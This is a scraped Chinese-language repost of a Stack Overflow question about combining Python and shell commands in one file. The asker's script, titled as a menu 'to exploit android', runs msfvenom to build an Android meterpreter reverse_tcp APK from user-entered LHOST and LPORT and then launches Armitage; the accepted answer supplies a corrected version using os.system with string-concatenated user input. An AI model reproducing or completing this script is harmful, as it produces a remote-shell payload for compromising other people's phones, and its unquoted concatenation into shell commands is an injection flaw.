gpt4 book ai didi

python - 将 py 和 sh 代码合并到一个文件中

转载 作者:塔克拉玛干 更新时间:2023-11-02 23:34:41 25 4
gpt4 key购买 nike

我想知道如何将 sh 和 py 代码合并到一个文件中,然后执行它。我应该以什么格式保存它以及执行它的命令?

这是我写的一个示例脚本,看看它并告诉我对它的修改

#test

Print("hello welcome to test")

print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == 1:
print("you have seclected android")
lhost = input("Please type in ur ip adress > ")
lport = input("Please type in ur recommended port to use > ")
print("the apk installable is placed on ur desktop")
print("we are using reverse_tcp")
print("the LHOST is",lhost)
print("the LPORT is",lport)
!msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop
print("the apk is located in ur Desktop")
!service postgresql start
!armitage
elif user_response == 2:
bla ..
bla ..
bla ..
testing bla bla bla

最佳答案

可以。您必须导入 os 模块并像这样包装您的 shell 命令:os.system("ls -l")。 Source

因此对于您的代码,它看起来像这样:

#test

print("hello welcome to test")
import os
print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == str(1):
print("you have seclected android")
lhost = input("Please type in ur ip adress > ")
lport = input("Please type in ur recommended port to use > ")
print("the apk installable is placed on ur desktop")
print("we are using reverse_tcp")
print("the LHOST is",lhost)
print("the LPORT is",lport)
os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + str(lhost) + " LPORT=" + str(lport) + " R> /root/Desktop")
print("the apk is located in ur Desktop")
os.system("service postgresql start")
os.system("armitage")
elif user_response == str(2):
bla ..
bla ..
bla ..
testing bla bla bla

Linux 不关心文件扩展名,但它仍然是一个 python 脚本,所以你应该使用 .py。执行它的命令是“python3 scriptname.py”。请记住,您必须使用“chmod 755 scriptname.py”设置可执行权限

关于python - 将 py 和 sh 代码合并到一个文件中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38742739/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com